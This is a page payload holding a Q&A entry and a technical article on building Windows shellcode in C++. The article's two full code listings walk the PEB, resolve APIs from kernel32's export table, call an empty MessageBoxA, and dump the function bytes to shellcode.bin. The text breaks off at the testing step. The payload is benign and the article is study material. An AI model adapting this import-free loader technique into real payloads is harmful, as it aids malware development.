[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$f76dW5C4ZOkAiyTQJ1OPOyYPu44Ga1ErDwZWa04CTYgE":3},{"id":4,"question":5,"answer":6,"answerHtml":7,"slug":8,"keywords":9,"article":10,"status":34,"aiModel":39,"aiConfidence":39,"updatedAt":52,"createdAt":53,"_status":51},170,"How is the shellcode extracted from the compiled executable, and what tool is used?","After compiling with the recommended settings, the .exe is opened in IDA (Interactive Disassembler). The machine code of the `shell_code()` function is extracted as a byte sequence. Since the entry function is first, the extraction can start from its beginning. The article provides a complete code example that dynamically resolves API addresses without relying on imports. This method is part of a series on shellcode development, including bypassing DEP or UAC.","\u003Cp>After compiling with the recommended settings, the .exe is opened in IDA (Interactive Disassembler). The machine code of the `shell_code()` function is extracted as a byte sequence. Since the entry function is first, the extraction can start from its beginning. The article provides a complete code example that dynamically resolves API addresses without relying on imports. This method is part of a series on shellcode development, including bypassing DEP or UAC.\u003C\u002Fp>\u003Cp>\u003Ca href=\"\u002Fnews\u002Fwindows-shellcode-study-notes-extraction-and-testing-of-shellcode\">Read the related One Day Sec article\u003C\u002Fa>\u003C\u002Fp>","how-is-the-shellcode-extracted-from-the-compiled-executable-and-what-tool-is-use-1777484756040","IDA, machine code extraction, shellcode byte sequence, disassembly",{"id":11,"title":12,"slug":13,"description":14,"content":15,"contentHtml":30,"cover":31,"author":32,"views":19,"readingTime":33,"status":34,"publishedAt":35,"seo":36,"tags":41,"qaPairs":42,"meta":48,"updatedAt":49,"createdAt":50,"_status":51},44,"Windows Shellcode Study Notes - Extraction and Testing of Shellcode","windows-shellcode-study-notes-extraction-and-testing-of-shellcode","Fix bugs in Windows shellcode extraction code, avoid global variables, ensure proper function order, and optimize C++ development for cross-environment compatibility.",{"root":16},{"type":17,"format":18,"indent":19,"version":20,"children":21,"direction":29},"root","",0,1,[22],{"type":23,"format":18,"indent":19,"version":20,"children":24,"direction":29},"paragraph",[25],{"mode":26,"text":27,"type":28,"style":18,"detail":19,"format":19,"version":20},"normal","\u003Chtml>\u003Chead>\u003C\u002Fhead>\u003Cbody>\u003Ch2>0x00 Preface\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Previously, in \"Windows Shellcode Study Notes - Generating Shellcode via VisualStudio\", we introduced a method using C++ (without inline assembly) to dynamically obtain API addresses and make calls, disassemble to extract shellcode, and open-sourced the test code.\u003C\u002Fp>\u003Cp>During the subsequent process of extracting shellcode, some bugs were discovered in the previously open-sourced code. Therefore, this article focuses on fixing these bugs in the test code and discusses considerations for developing shellcode using C++.\u003C\u002Fp>\u003Cp>Download link for the test code containing bugs:\u003C\u002Fp>\u003Cp>An open-source project\u003C\u002Fp>\u003Ch2>0x01 Introduction\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Simple shellcode extraction process:\u003C\u002Fp>\u003Cul>\u003Cli>Develop code using C++\u003C\u002Fli>\u003Cli>Modify VisualStudio compilation configuration\u003C\u002Fli>\u003Cli>Generate exe\u003C\u002Fli>\u003Cli>Open the generated exe in IDA to obtain machine code\u003C\u002Fli>\u003C\u002Ful>\u003Cp>Since API addresses are obtained and called dynamically, to ensure shellcode compatibility, fixed addresses must not appear in the code, and the use of global variables should be minimized. If the code contains sub-functions, depending on the calling method, attention must also be paid to the arrangement order between functions (the entry function should be placed first).\u003C\u002Fp>\u003Ch2>0x02 Bug Fix\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Configure three compilation options: release, disable optimization, disable \u002FGS\u003C\u002Fp>\u003Cp>Compile the code, then use IDA to extract machine code as shellcode\u003C\u002Fp>\u003Cp>During actual debugging, bugs were found in the code:\u003C\u002Fp>\u003Ch3>1. Global variables should be properly handled in the code\u003C\u002Fh3>\u003Cp>Using global variables in the code\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>FARPROC(WINAPI* GetProcAddressAPI)(HMODULE, LPCSTR);\u003Cbr>HMODULE(WINAPI* LoadLibraryWAPI)(LPCWSTR);\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>After compilation, these become fixed addresses, making the shellcode incompatible across different environments\u003C\u002Fp>\u003Cp>The simplest and most direct approach is to avoid global variables in shellcode whenever possible\u003C\u002Fp>\u003Ch3>2. Function declaration method needs modification\u003C\u002Fh3>\u003Cp>After modifying global variables, the following code needs to be changed:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>MESSAGEBOXA_INITIALIZE MeassageboxA_MyOwn = reinterpret_cast\u003Cmessageboxa_initialize>(GetProcAddressAPI(LoadLibraryWAPI(struser32), MeassageboxA_api));\u003Cbr>MeassageboxA_MyOwn(NULL, NULL, NULL, 0);\u003C\u002Fmessageboxa_initialize>\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Need to completely replace with typedef function declaration style\u003C\u002Fp>\u003Ch3>3. Function call order\u003C\u002Fh3>\u003Cp>If using the following method to load shellcode:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>(*(int(*)()) sc)();\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>The definition of the entry function should be at the very beginning of this shellcode (independent of the order of function declarations)\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>If the shellcode contains sub-functions, ensure each function is placed in a contiguous address range, with the entry function positioned at the very front. This way, after extracting the machine code, you can directly load the entry function to execute the shellcode.\u003C\u002Fp>\u003Cp>In summary, provide the new complete code:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>#include \u003Cwindows.h>\u003Cbr>#include \u003Cwinternl.h>\u003Cbr>#pragma optimize( \"\", off )\u003Cbr>void shell_code();\u003Cbr>HANDLE GetKernel32Handle();\u003Cbr>BOOL __ISUPPER__(__in CHAR c);\u003Cbr>CHAR __TOLOWER__(__in CHAR c);\u003Cbr>UINT __STRLEN__(__in LPSTR lpStr1);\u003Cbr>UINT __STRLENW__(__in LPWSTR lpStr1);\u003Cbr>LPWSTR __STRSTRIW__(__in LPWSTR lpStr1, __in LPWSTR lpStr2);\u003Cbr>INT __STRCMPI__(__in LPSTR lpStr1, __in LPSTR lpStr2);\u003Cbr>INT __STRNCMPIW__(__in LPWSTR lpStr1, __in LPWSTR lpStr2, __in DWORD dwLen);\u003Cbr>LPVOID __MEMCPY__(__in LPVOID lpDst, __in LPVOID lpSrc, __in DWORD dwCount);\u003Cbr>\u003Cbr>typedef FARPROC(WINAPI* GetProcAddressAPI)(HMODULE, LPCSTR);\u003Cbr>typedef HMODULE(WINAPI* LoadLibraryWAPI)(LPCWSTR);\u003Cbr>typedef ULONG (WINAPI *MESSAGEBOXAPI)(HWND, LPWSTR, LPWSTR, ULONG);\u003Cbr>\u003Cbr>\u003Cbr>void shell_code() {\u003Cbr>\u003Cbr>\tLoadLibraryWAPI\tloadlibrarywapi = 0;\u003Cbr>\tGetProcAddressAPI getprocaddressapi=0;\u003Cbr>\tMESSAGEBOXAPI messageboxapi=0;\u003Cbr>\u003Cbr>\twchar_t struser32[] = { L'u', L's', L'e', L'r', L'3',L'2', L'.', L'd', L'l', L'l', 0 };\u003Cbr>\tchar MeassageboxA_api[] = { 'M', 'e', 's', 's', 'a', 'g', 'e', 'B', 'o', 'x', 'A', 0 };\u003Cbr>\u003Cbr>\tHANDLE hKernel32 = GetKernel32Handle();\u003Cbr>\tif (hKernel32 == INVALID_HANDLE_VALUE) {\u003Cbr>\t\treturn;\u003Cbr>\t}\u003Cbr>\tLPBYTE lpBaseAddr = (LPBYTE)hKernel32;\u003Cbr>\tPIMAGE_DOS_HEADER lpDosHdr = (PIMAGE_DOS_HEADER)lpBaseAddr;\u003Cbr>\tPIMAGE_NT_HEADERS pNtHdrs = (PIMAGE_NT_HEADERS)(lpBaseAddr + lpDosHdr-&gt;e_lfanew);\u003Cbr>\tPIMAGE_EXPORT_DIRECTORY pExportDir = (PIMAGE_EXPORT_DIRECTORY)(lpBaseAddr + pNtHdrs-&gt;OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);\u003Cbr>\u003Cbr>\tLPDWORD pNameArray = (LPDWORD)(lpBaseAddr + pExportDir-&gt;AddressOfNames);\u003Cbr>\tLPDWORD pAddrArray = (LPDWORD)(lpBaseAddr + pExportDir-&gt;AddressOfFunctions);\u003Cbr>\tLPWORD pOrdArray = (LPWORD)(lpBaseAddr + pExportDir-&gt;AddressOfNameOrdinals);\u003Cbr>\tCHAR strLoadLibraryA[] = { 'L', 'o', 'a', 'd', 'L', 'i', 'b', 'r', 'a', 'r', 'y', 'W', 0x0 };\u003Cbr>\tCHAR strGetProcAddress[] = { 'G', 'e', 't', 'P', 'r', 'o', 'c', 'A', 'd', 'd', 'r', 'e', 's', 's', 0x0 };\u003Cbr>\u003Cbr>\tfor (UINT i = 0; i &lt; pExportDir-&gt;NumberOfNames; i++) {\u003Cbr>\t\tLPSTR pFuncName = (LPSTR)(lpBaseAddr + pNameArray[i]);\u003Cbr>\t\tif (!__STRCMPI__(pFuncName, strGetProcAddress)) {\u003Cbr>\t\t\tgetprocaddressapi=(GetProcAddressAPI)(lpBaseAddr + pAddrArray[pOrdArray[i]]);\u003Cbr>\t\t}\u003Cbr>\t\telse if (!__STRCMPI__(pFuncName, strLoadLibraryA)) {\u003Cbr>\t\t\tloadlibrarywapi=(LoadLibraryWAPI) (lpBaseAddr + pAddrArray[pOrdArray[i]]);\u003Cbr>\t\t}\u003Cbr>\t\tif (getprocaddressapi != nullptr &amp;&amp; loadlibrarywapi != nullptr) {\t\t\t\t\u003Cbr>\t\t\tmessageboxapi=(MESSAGEBOXAPI)getprocaddressapi(loadlibrarywapi(struser32), MeassageboxA_api);\u003Cbr>\t\t\tmessageboxapi(NULL, NULL, NULL, 0);\u003Cbr>\t\t\treturn;\u003Cbr>\t\t}\u003Cbr>\t}\u003Cbr>}\u003Cbr>\u003Cbr>inline BOOL __ISUPPER__(__in CHAR c) {\u003Cbr>\treturn ('A' &lt;= c) &amp;&amp; (c &lt;= 'Z');\u003Cbr>};\u003Cbr>inline CHAR __TOLOWER__(__in CHAR c) {\u003Cbr>\treturn __ISUPPER__(c) ? c - 'A' + 'a' : c;\u003Cbr>};\u003Cbr>\u003Cbr>UINT __STRLEN__(__in LPSTR lpStr1)\u003Cbr>{\u003Cbr>\tUINT i = 0;\u003Cbr>\twhile (lpStr1[i] != 0x0)\u003Cbr>\t\ti++;\u003Cbr>\treturn i;\u003Cbr>}\u003Cbr>\u003Cbr>UINT __STRLENW__(__in LPWSTR lpStr1)\u003Cbr>{\u003Cbr>\tUINT i = 0;\u003Cbr>\twhile (lpStr1[i] != L'\\0')\u003Cbr>\t\ti++;\u003Cbr>\treturn i;\u003Cbr>}\u003Cbr>\u003Cbr>LPWSTR __STRSTRIW__(__in LPWSTR lpStr1, __in LPWSTR lpStr2)\u003Cbr>{\u003Cbr>\tCHAR c = __TOLOWER__(((PCHAR)(lpStr2++))[0]);\u003Cbr>\tif (!c)\u003Cbr>\t\treturn lpStr1;\u003Cbr>\tUINT dwLen = __STRLENW__(lpStr2);\u003Cbr>\tdo\u003Cbr>\t{\u003Cbr>\t\tCHAR sc;\u003Cbr>\t\tdo\u003Cbr>\t\t{\u003Cbr>\t\t\tsc = __TOLOWER__(((PCHAR)(lpStr1)++)[0]);\u003Cbr>\t\t\tif (!sc)\u003Cbr>\t\t\t\treturn NULL;\u003Cbr>\t\t} while (sc != c);\u003Cbr>\t} while (__STRNCMPIW__(lpStr1, lpStr2, dwLen) != 0);\u003Cbr>\treturn (lpStr1 - 1); \u002F\u002F FIXME -2 ?\u003Cbr>}\u003Cbr>\u003Cbr>INT __STRCMPI__(\u003Cbr>\t__in LPSTR lpStr1,\u003Cbr>\t__in LPSTR lpStr2)\u003Cbr>{\u003Cbr>\tint  v;\u003Cbr>\tCHAR c1, c2;\u003Cbr>\tdo\u003Cbr>\t{\u003Cbr>\t\tc1 = *lpStr1++;\u003Cbr>\t\tc2 = *lpStr2++;\u003Cbr>\t\t\u002F\u002F The casts are necessary when pStr1 is shorter &amp; char is signed \u003Cbr>\t\tv = (UINT)__TOLOWER__(c1) - (UINT)__TOLOWER__(c2);\u003Cbr>\t} while ((v == 0) &amp;&amp; (c1 != '\\0') &amp;&amp; (c2 != '\\0'));\u003Cbr>\treturn v;\u003Cbr>}\u003Cbr>\u003Cbr>INT __STRNCMPIW__(\u003Cbr>\t__in LPWSTR lpStr1,\u003Cbr>\t__in LPWSTR lpStr2,\u003Cbr>\t__in DWORD dwLen)\u003Cbr>{\u003Cbr>\tint  v;\u003Cbr>\tCHAR c1, c2;\u003Cbr>\tdo {\u003Cbr>\t\tdwLen--;\u003Cbr>\t\tc1 = ((PCHAR)lpStr1++)[0];\u003Cbr>\t\tc2 = ((PCHAR)lpStr2++)[0];\u003Cbr>\t\t\u002F* The casts are necessary when pStr1 is shorter &amp; char is signed *\u002F\u003Cbr>\t\tv = (UINT)__TOLOWER__(c1) - (UINT)__TOLOWER__(c2);\u003Cbr>\t} while ((v == 0) &amp;&amp; (c1 != 0x0) &amp;&amp; (c2 != 0x0) &amp;&amp; dwLen &gt; 0);\u003Cbr>\treturn v;\u003Cbr>}\u003Cbr>\u003Cbr>LPSTR __STRCAT__(\u003Cbr>\t__in LPSTR\tstrDest,\u003Cbr>\t__in LPSTR strSource)\u003Cbr>{\u003Cbr>\tLPSTR d = strDest;\u003Cbr>\tLPSTR s = strSource;\u003Cbr>\twhile (*d) d++;\u003Cbr>\tdo { *d++ = *s++; } while (*s);\u003Cbr>\t*d = 0x0;\u003Cbr>\treturn strDest;\u003Cbr>}\u003Cbr>\u003Cbr>LPVOID __MEMCPY__(\u003Cbr>\t__in LPVOID lpDst,\u003Cbr>\t__in LPVOID lpSrc,\u003Cbr>\t__in DWORD dwCount)\u003Cbr>{\u003Cbr>\tLPBYTE s = (LPBYTE)lpSrc;\u003Cbr>\tLPBYTE d = (LPBYTE)lpDst;\u003Cbr>\twhile (dwCount--)\u003Cbr>\t\t*d++ = *s++;\u003Cbr>\treturn lpDst;\u003Cbr>}\u003Cbr>\u003Cbr>HANDLE GetKernel32Handle() {\u003Cbr>\tHANDLE hKernel32 = INVALID_HANDLE_VALUE;\u003Cbr>#ifdef _WIN64\u003Cbr>\tPPEB lpPeb = (PPEB)__readgsqword(0x60);\u003Cbr>#else\u003Cbr>\tPPEB lpPeb = (PPEB)__readfsdword(0x30);\u003Cbr>#endif\u003Cbr>\tPLIST_ENTRY pListHead = &amp;lpPeb-&gt;Ldr-&gt;InMemoryOrderModuleList;\u003Cbr>\tPLIST_ENTRY pListEntry = pListHead-&gt;Flink;\u003Cbr>\tWCHAR strDllName[MAX_PATH];\u003Cbr>\tWCHAR strKernel32[] = { 'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l', L'\\0' };\u003Cbr>\u003Cbr>\twhile (pListEntry != pListHead) {\u003Cbr>\t\tPLDR_DATA_TABLE_ENTRY pModEntry = CONTAINING_RECORD(pListEntry, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);\u003Cbr>\t\tif (pModEntry-&gt;FullDllName.Length) {\u003Cbr>\t\t\tDWORD dwLen = pModEntry-&gt;FullDllName.Length;\u003Cbr>\t\t\t__MEMCPY__(strDllName, pModEntry-&gt;FullDllName.Buffer, dwLen);\u003Cbr>\t\t\tstrDllName[dwLen \u002F sizeof(WCHAR)] = L'\\0';\u003Cbr>\t\t\tif (__STRSTRIW__(strDllName, strKernel32)) {\u003Cbr>\t\t\t\thKernel32 = pModEntry-&gt;DllBase;\u003Cbr>\t\t\t\tbreak;\u003Cbr>\t\t\t}\u003Cbr>\t\t}\u003Cbr>\t\tpListEntry = pListEntry-&gt;Flink;\u003Cbr>\t}\u003Cbr>\treturn hKernel32;\u003Cbr>}\u003Cbr>\u003Cbr>int main()\u003Cbr>{\u003Cbr>\tprintf(\"1\");\u003Cbr>\tshell_code();\u003Cbr>\tprintf(\"2\");\u003Cbr>\treturn 0;\u003Cbr>}\u003C\u002Fwinternl.h>\u003C\u002Fwindows.h>\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch2>0x03 Shellcode Extraction\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>After compiling the above code into an exe and opening it with IDA, check the Function Window to find the starting addresses of each subfunction\u003C\u002Fp>\u003Cp>As shown in the figure\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770019787448_0_01c738ab80.png\">\u003C\u002Fp>\u003Cp>It can be seen that each function is stored in a continuous address range, and the shellcode starting function is located at the very beginning\u003C\u002Fp>\u003Cp>Double-click the first function shell_code(void) to enter the IDA text view, where you can see that the specific location of the shell_code(void) function in the exe file is 00000400\u003C\u002Fp>\u003Cp>As shown in the figure\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770019798237_1_e348e7ebd1.jpeg\">\u003C\u002Fp>\u003Cp>Check the location of the main function in the exe file, which is 00000A00\u003C\u002Fp>\u003Cp>As shown in the figure\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770019811381_2_81870fc5bc.jpeg\">\u003C\u002Fp>\u003Cp>Based on the structure of the C code, it can be inferred that the offset range 00000400-00000A00 in the exe file is the machine code we need\u003C\u002Fp>\u003Cp>Use a hex editor to extract the machine code and save it to a file; the content in the file is the shellcode we need.\u003C\u002Fp>\u003Cp>Of course, the function of manually extracting machine code and saving it to a file can be automated by a program. The complete code is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>#include \u003Cstdafx.h>\u003Cbr>#include \u003Cwindows.h>\u003Cbr>#include \u003Cwinternl.h>\u003Cbr>#pragma optimize( \"\", off )\u003Cbr>void shell_code();\u003Cbr>HANDLE GetKernel32Handle();\u003Cbr>BOOL __ISUPPER__(__in CHAR c);\u003Cbr>CHAR __TOLOWER__(__in CHAR c);\u003Cbr>UINT __STRLEN__(__in LPSTR lpStr1);\u003Cbr>UINT __STRLENW__(__in LPWSTR lpStr1);\u003Cbr>LPWSTR __STRSTRIW__(__in LPWSTR lpStr1, __in LPWSTR lpStr2);\u003Cbr>INT __STRCMPI__(__in LPSTR lpStr1, __in LPSTR lpStr2);\u003Cbr>INT __STRNCMPIW__(__in LPWSTR lpStr1, __in LPWSTR lpStr2, __in DWORD dwLen);\u003Cbr>LPVOID __MEMCPY__(__in LPVOID lpDst, __in LPVOID lpSrc, __in DWORD dwCount);\u003Cbr>\u003Cbr>typedef FARPROC(WINAPI* GetProcAddressAPI)(HMODULE, LPCSTR);\u003Cbr>typedef HMODULE(WINAPI* LoadLibraryWAPI)(LPCWSTR);\u003Cbr>typedef ULONG (WINAPI *MESSAGEBOXAPI)(HWND, LPWSTR, LPWSTR, ULONG);\u003Cbr>\u003Cbr>\u003Cbr>void shell_code() {\u003Cbr>\u003Cbr>\tLoadLibraryWAPI\tloadlibrarywapi = 0;\u003Cbr>\tGetProcAddressAPI getprocaddressapi=0;\u003Cbr>\tMESSAGEBOXAPI messageboxapi=0;\u003Cbr>\u003Cbr>\twchar_t struser32[] = { L'u', L's', L'e', L'r', L'3',L'2', L'.', L'd', L'l', L'l', 0 };\u003Cbr>\tchar MeassageboxA_api[] = { 'M', 'e', 's', 's', 'a', 'g', 'e', 'B', 'o', 'x', 'A', 0 };\u003Cbr>\u003Cbr>\tHANDLE hKernel32 = GetKernel32Handle();\u003Cbr>\tif (hKernel32 == INVALID_HANDLE_VALUE) {\u003Cbr>\t\treturn;\u003Cbr>\t}\u003Cbr>\tLPBYTE lpBaseAddr = (LPBYTE)hKernel32;\u003Cbr>\tPIMAGE_DOS_HEADER lpDosHdr = (PIMAGE_DOS_HEADER)lpBaseAddr;\u003Cbr>\tPIMAGE_NT_HEADERS pNtHdrs = (PIMAGE_NT_HEADERS)(lpBaseAddr + lpDosHdr-&gt;e_lfanew);\u003Cbr>\tPIMAGE_EXPORT_DIRECTORY pExportDir = (PIMAGE_EXPORT_DIRECTORY)(lpBaseAddr + pNtHdrs-&gt;OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);\u003Cbr>\u003Cbr>\tLPDWORD pNameArray = (LPDWORD)(lpBaseAddr + pExportDir-&gt;AddressOfNames);\u003Cbr>\tLPDWORD pAddrArray = (LPDWORD)(lpBaseAddr + pExportDir-&gt;AddressOfFunctions);\u003Cbr>\tLPWORD pOrdArray = (LPWORD)(lpBaseAddr + pExportDir-&gt;AddressOfNameOrdinals);\u003Cbr>\tCHAR strLoadLibraryA[] = { 'L', 'o', 'a', 'd', 'L', 'i', 'b', 'r', 'a', 'r', 'y', 'W', 0x0 };\u003Cbr>\tCHAR strGetProcAddress[] = { 'G', 'e', 't', 'P', 'r', 'o', 'c', 'A', 'd', 'd', 'r', 'e', 's', 's', 0x0 };\u003Cbr>\u003Cbr>\tfor (UINT i = 0; i &lt; pExportDir-&gt;NumberOfNames; i++) {\u003Cbr>\t\tLPSTR pFuncName = (LPSTR)(lpBaseAddr + pNameArray[i]);\u003Cbr>\t\tif (!__STRCMPI__(pFuncName, strGetProcAddress)) {\u003Cbr>\t\t\tgetprocaddressapi=(GetProcAddressAPI)(lpBaseAddr + pAddrArray[pOrdArray[i]]);\u003Cbr>\t\t}\u003Cbr>\t\telse if (!__STRCMPI__(pFuncName, strLoadLibraryA)) {\u003Cbr>\t\t\tloadlibrarywapi=(LoadLibraryWAPI) (lpBaseAddr + pAddrArray[pOrdArray[i]]);\u003Cbr>\t\t}\u003Cbr>\t\tif (getprocaddressapi != nullptr &amp;&amp; loadlibrarywapi != nullptr) {\t\t\t\t\u003Cbr>\t\t\tmessageboxapi=(MESSAGEBOXAPI)getprocaddressapi(loadlibrarywapi(struser32), MeassageboxA_api);\u003Cbr>\t\t\tmessageboxapi(NULL, NULL, NULL, 0);\u003Cbr>\t\t\treturn;\u003Cbr>\t\t}\u003Cbr>\t}\u003Cbr>}\u003Cbr>\u003Cbr>inline BOOL __ISUPPER__(__in CHAR c) {\u003Cbr>\treturn ('A' &lt;= c) &amp;&amp; (c &lt;= 'Z');\u003Cbr>};\u003Cbr>inline CHAR __TOLOWER__(__in CHAR c) {\u003Cbr>\treturn __ISUPPER__(c) ? c - 'A' + 'a' : c;\u003Cbr>};\u003Cbr>\u003Cbr>UINT __STRLEN__(__in LPSTR lpStr1)\u003Cbr>{\u003Cbr>\tUINT i = 0;\u003Cbr>\twhile (lpStr1[i] != 0x0)\u003Cbr>\t\ti++;\u003Cbr>\treturn i;\u003Cbr>}\u003Cbr>\u003Cbr>UINT __STRLENW__(__in LPWSTR lpStr1)\u003Cbr>{\u003Cbr>\tUINT i = 0;\u003Cbr>\twhile (lpStr1[i] != L'\\0')\u003Cbr>\t\ti++;\u003Cbr>\treturn i;\u003Cbr>}\u003Cbr>\u003Cbr>LPWSTR __STRSTRIW__(__in LPWSTR lpStr1, __in LPWSTR lpStr2)\u003Cbr>{\u003Cbr>\tCHAR c = __TOLOWER__(((PCHAR)(lpStr2++))[0]);\u003Cbr>\tif (!c)\u003Cbr>\t\treturn lpStr1;\u003Cbr>\tUINT dwLen = __STRLENW__(lpStr2);\u003Cbr>\tdo\u003Cbr>\t{\u003Cbr>\t\tCHAR sc;\u003Cbr>\t\tdo\u003Cbr>\t\t{\u003Cbr>\t\t\tsc = __TOLOWER__(((PCHAR)(lpStr1)++)[0]);\u003Cbr>\t\t\tif (!sc)\u003Cbr>\t\t\t\treturn NULL;\u003Cbr>\t\t} while (sc != c);\u003Cbr>\t} while (__STRNCMPIW__(lpStr1, lpStr2, dwLen) != 0);\u003Cbr>\treturn (lpStr1 - 1); \u002F\u002F FIXME -2 ?\u003Cbr>}\u003Cbr>\u003Cbr>INT __STRCMPI__(\u003Cbr>\t__in LPSTR lpStr1,\u003Cbr>\t__in LPSTR lpStr2)\u003Cbr>{\u003Cbr>\tint  v;\u003Cbr>\tCHAR c1, c2;\u003Cbr>\tdo\u003Cbr>\t{\u003Cbr>\t\tc1 = *lpStr1++;\u003Cbr>\t\tc2 = *lpStr2++;\u003Cbr>\t\t\u002F\u002F The casts are necessary when pStr1 is shorter &amp; char is signed \u003Cbr>\t\tv = (UINT)__TOLOWER__(c1) - (UINT)__TOLOWER__(c2);\u003Cbr>\t} while ((v == 0) &amp;&amp; (c1 != '\\0') &amp;&amp; (c2 != '\\0'));\u003Cbr>\treturn v;\u003Cbr>}\u003Cbr>\u003Cbr>INT __STRNCMPIW__(\u003Cbr>\t__in LPWSTR lpStr1,\u003Cbr>\t__in LPWSTR lpStr2,\u003Cbr>\t__in DWORD dwLen)\u003Cbr>{\u003Cbr>\tint  v;\u003Cbr>\tCHAR c1, c2;\u003Cbr>\tdo {\u003Cbr>\t\tdwLen--;\u003Cbr>\t\tc1 = ((PCHAR)lpStr1++)[0];\u003Cbr>\t\tc2 = ((PCHAR)lpStr2++)[0];\u003Cbr>\t\t\u002F* The casts are necessary when pStr1 is shorter &amp; char is signed *\u002F\u003Cbr>\t\tv = (UINT)__TOLOWER__(c1) - (UINT)__TOLOWER__(c2);\u003Cbr>\t} while ((v == 0) &amp;&amp; (c1 != 0x0) &amp;&amp; (c2 != 0x0) &amp;&amp; dwLen &gt; 0);\u003Cbr>\treturn v;\u003Cbr>}\u003Cbr>\u003Cbr>LPSTR __STRCAT__(\u003Cbr>\t__in LPSTR\tstrDest,\u003Cbr>\t__in LPSTR strSource)\u003Cbr>{\u003Cbr>\tLPSTR d = strDest;\u003Cbr>\tLPSTR s = strSource;\u003Cbr>\twhile (*d) d++;\u003Cbr>\tdo { *d++ = *s++; } while (*s);\u003Cbr>\t*d = 0x0;\u003Cbr>\treturn strDest;\u003Cbr>}\u003Cbr>\u003Cbr>LPVOID __MEMCPY__(\u003Cbr>\t__in LPVOID lpDst,\u003Cbr>\t__in LPVOID lpSrc,\u003Cbr>\t__in DWORD dwCount)\u003Cbr>{\u003Cbr>\tLPBYTE s = (LPBYTE)lpSrc;\u003Cbr>\tLPBYTE d = (LPBYTE)lpDst;\u003Cbr>\twhile (dwCount--)\u003Cbr>\t\t*d++ = *s++;\u003Cbr>\treturn lpDst;\u003Cbr>}\u003Cbr>\u003Cbr>HANDLE GetKernel32Handle() {\u003Cbr>\tHANDLE hKernel32 = INVALID_HANDLE_VALUE;\u003Cbr>#ifdef _WIN64\u003Cbr>\tPPEB lpPeb = (PPEB)__readgsqword(0x60);\u003Cbr>#else\u003Cbr>\tPPEB lpPeb = (PPEB)__readfsdword(0x30);\u003Cbr>#endif\u003Cbr>\tPLIST_ENTRY pListHead = &amp;lpPeb-&gt;Ldr-&gt;InMemoryOrderModuleList;\u003Cbr>\tPLIST_ENTRY pListEntry = pListHead-&gt;Flink;\u003Cbr>\tWCHAR strDllName[MAX_PATH];\u003Cbr>\tWCHAR strKernel32[] = { 'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l', L'\\0' };\u003Cbr>\u003Cbr>\twhile (pListEntry != pListHead) {\u003Cbr>\t\tPLDR_DATA_TABLE_ENTRY pModEntry = CONTAINING_RECORD(pListEntry, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);\u003Cbr>\t\tif (pModEntry-&gt;FullDllName.Length) {\u003Cbr>\t\t\tDWORD dwLen = pModEntry-&gt;FullDllName.Length;\u003Cbr>\t\t\t__MEMCPY__(strDllName, pModEntry-&gt;FullDllName.Buffer, dwLen);\u003Cbr>\t\t\tstrDllName[dwLen \u002F sizeof(WCHAR)] = L'\\0';\u003Cbr>\t\t\tif (__STRSTRIW__(strDllName, strKernel32)) {\u003Cbr>\t\t\t\thKernel32 = pModEntry-&gt;DllBase;\u003Cbr>\t\t\t\tbreak;\u003Cbr>\t\t\t}\u003Cbr>\t\t}\u003Cbr>\t\tpListEntry = pListEntry-&gt;Flink;\u003Cbr>\t}\u003Cbr>\treturn hKernel32;\u003Cbr>}\u003Cbr>void __declspec(naked) END_SHELLCODE(void) {}\u003Cbr>int main()\u003Cbr>{\u003Cbr>\tshell_code();\u003Cbr>\u003Cbr>\tFILE *output_file;\u003Cbr>\tfopen_s(&amp;output_file,\"shellcode.bin\", \"wb\");\u003Cbr>\tfwrite(shell_code, (int)END_SHELLCODE - (int)shell_code, 1, output_file);\u003Cbr>\tfclose(output_file);\u003Cbr>\treturn 0;\u003Cbr>}\u003C\u002Fwinternl.h>\u003C\u002Fwindows.h>\u003C\u002Fstdafx.h>\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Open the file in \"wb\" mode to write binary data\u003C\u002Fp>\u003Cp>If using \"w\" mode, the 0A character will be replaced with 0D0A during writing, causing issues with the shellcode\u003C\u002Fp>\u003Ch2>0x04 Shellcode Testing\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Use the following code to read the shellcode saved in the file, load it, and test its 